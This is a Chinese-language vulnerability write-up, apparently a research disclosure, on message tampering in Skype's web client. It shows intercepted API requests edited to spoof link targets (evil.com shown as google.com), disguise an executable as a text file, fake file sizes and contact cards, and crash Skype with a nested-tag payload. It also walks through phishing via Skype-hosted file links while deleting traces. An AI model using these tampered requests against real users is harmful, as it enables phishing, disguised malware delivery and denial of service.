眾所周知,Skype中存儲在這大量的欺騙攻擊漏洞,但微軟卻不認為這些漏洞需要“立即提供安全修復服務(wù)”。
漏洞介紹
在我們的一次漏洞挖掘過程中,我們對web.skype.com域名進行了測試。在進行了完整的測試之后,我們發(fā)現(xiàn)其信息功能中并沒有任何防止信息篡改的安全保護機制,因此這里可能會存在欺騙攻擊的風險。在本文發(fā)稿時,所有提到的漏洞仍然存在。不過,微軟并不認為這些漏洞嚴重到需要立即進行修復,不過可能會在將來的版本中進行修復。
鏈接欺騙
如果你想要讓某人訪問一個鏈接,其實是非常簡單且有效的。我們一起來看一看該怎么做!
第一步,以下列形式發(fā)送你想要偽裝的鏈接:
第二步,攔截請求,當你查看到下列請求內(nèi)容的時候再進行轉(zhuǎn)發(fā):
POST/v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag=HTTP/1.1
Host:azwus1-client-s.gateway.messenger.live.com
...
{
"clientmessageid":"123456789",
"composetime":"2021-02-01T23:05:32.546Z",
"content":"<a href="https://google.com">https://google.com</a>",
"messagetype":"RichText",
"contenttype":"text",
"imdisplayname":"mr d0x"'><h1>hi</h1>",
"properties":{
"urlpreviews":"[{"key":"https://google.com","value":{"url":"https://google.com","size":"49128","status_code":"200","content_type":"text/html","site":"www.google.com","category":"generic","title":"Google","description":"Search the world's information,including webpages,images,videos and more.Google has many special features to help you find exactly what you're looking for.","favicon":"https://nus1-urlp-static.secure.skypeassets.com/static/google-32x32.ico","favicon_meta":{"width":32,"height":32},"thumbnail":"https://nus1-urlp-static.secure.skypeassets.com/static/google-90x90.png","thumbnail_meta":{"width":90,"height":90},"user_pic":""}}]"
}
}
第三步,在請求的“href”屬性以及“urlpreviews”鍵的“key”屬性中插入你想要的鏈接:
...
"content":"<a href="https://evil.com"<https://google.com>/a>",
...
"urlpreviews":"[{"key":"https://evil.com",...
偽造的URL將顯示在信息的底部位置。為了克服這個問題,只需創(chuàng)建一個真實的子域。比如說:google.image.view.evil.com
文件名欺騙
在該漏洞的幫助下,我們將能夠使用偽造的文件名稱以及后綴來給任意用戶發(fā)送文件。我們發(fā)現(xiàn)了多種實現(xiàn)方法,但我們只演示其中一種。
第一步,與任意用戶開啟聊天,然后點擊“Add files”添加文件:
第二步,選擇你的惡意文件:
第三步,發(fā)送消息,使用Burp攔截消息,當查看到如下所示的請求內(nèi)容后轉(zhuǎn)發(fā)消息:
POST/v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag=HTTP/1.1
Host:azwus1-client-s.gateway.messenger.live.com
...
{
"clientmessageid":"6937674706420748491",
"composetime":"2021-01-31T20:13:38.249Z",
"content":"<URIObject uri="https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED"url_thumbnail="https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED/views/original"type="File.1"doc_id="0-cus-d17-REDACTED">To view this file,go to:<a href="https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED">https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED</a><OriginalName v="plink.exe"></OriginalName><FileSize v="311296"></FileSize></URIObject>",
"messagetype":"RichText/Media_GenericFile",
"contenttype":"text",
"imdisplayname":"mr d0x",
"amsreferences":[
"0-cus-d17-REDACTED"
]
}
第四步,修改“OriginalName”值,包括后綴名:
<OriginalName v="clean.txt"></OriginalName>
完成!現(xiàn)在目標用戶將看到如下圖所示的界面:
點擊“Download”下載文件之后,原始文件名將會顯示出來:
文件大小欺騙
在這一步,我們需要重復上述的操作,不過第四步需要進行一些修改。我們需要修改的是“FileSize”值:
<FileSize v="11000000000000"></FileSize>
我們的文件現(xiàn)在就變成了11TB:
共享名片欺騙
在與他人分享聯(lián)系人名片時,我們可以攔截請求并修改名片顯示的名稱和用戶名,并將修改后的內(nèi)容呈現(xiàn)給目標用戶:
POST/v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag=HTTP/1.1
Host:azwus1-client-s.gateway.messenger.live.com
...
{
"clientmessageid":"31905252195064291",
"composetime":"2021-01-31T20:02:39.230Z",
"content":"<contacts><c t="s"s="evil.account"f="It's Bob!"></c></contacts>",
"messagetype":"RichText/Contacts",
"contenttype":"text",
"imdisplayname":"mr d0x",
"properties":{
"forwardMetadata":"{"isForwarded":false}"
}
}
讓任意用戶的Skype崩潰
在修改請求主體中“content”值時,我不小心放置了太多的標簽,結(jié)果導致了對話兩端(攻擊者和目標用戶)的Skype發(fā)生了崩潰,并導致聊天內(nèi)容永久性的無法訪問。而且,每當雙方試圖打開這個對話框時,雙方的Skype都會崩潰。
我所使用的Payload如下:
"content":"<contacts><URIObject><h1><a href="https://google.com"t="s"s="><contacts><c t="s"s="evil.account"f="Mr.d0x"></c></contacts></a></h1></URIObject></contacts>"
結(jié)果如下:
這將導致Web端和桌面客戶端的Skype都發(fā)生崩潰。不過,手機端的Skpye應(yīng)用程序不會崩潰。
使用Skype的域名進行網(wǎng)絡(luò)釣魚攻擊
當你在聊天框發(fā)送一個文件時,它首先被上傳到Skype的服務(wù)器上,然后聊天中的每個用戶都可以訪問該文件。無論正在聊天的是否是好友,就算你刪除了這個文件,其他用戶仍然可以正常訪問。
該文件的鏈接現(xiàn)在可以通過電子郵件發(fā)送到目標,如果他們的Outlook/O365帳戶上有活動會話,則該鏈接允許他們直接下載該文件。
第一步,向目標用戶發(fā)送或轉(zhuǎn)發(fā)文件,忽略錯誤通知:
第二步,攔截請求,當你看到下列請求內(nèi)容時轉(zhuǎn)發(fā)請求:
POST/v1/users/ME/conversations/19%REDACTED%40thread.skype/messages?x-ecs-etag=HTTP/1.1
Host:azwus1-client-s.gateway.messenger.live.com
...
{
"clientmessageid":"6937674706420748491",
"composetime":"2021-01-31T20:13:38.249Z",
"content":"<;URIObject uri="https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED"url_thumbnail="https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED/views/original"type="File.1"doc_id="0-cus-d17-REDACTED">To view this file,go to:<a href="https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED">https://login.skype.com/login/sso?go=webclient.xmm&docid=0-cus-d17-REDACTED</a><OriginalName v="plink.exe"></OriginalName><FileSize v="311296"></FileSize></URIObject>",
"messagetype":"RichText/Media_GenericFile",
"contenttype":"text",
"imdisplayname":"mr d0x",
"amsreferences":[
"0-cus-d17-REDACTED"
]
}
下載鏈接位于url_thumbnail中:
https://api.asm.skype.com/v1/objects/0-cus-d17-REDACTED/views/original
第三步,刪除消息以隱藏痕跡。
現(xiàn)在我們就可以使用該鏈接對目標進行網(wǎng)絡(luò)釣魚攻擊了,由于Skype的域名是一個受信任的域名,因此我們不需要擔心釣魚郵件被安全產(chǎn)品標記或檢測到。
總結(jié)
Skype不會對其消息傳遞組件進行任何類型的篡改驗證,因此任何內(nèi)容都可能被欺騙。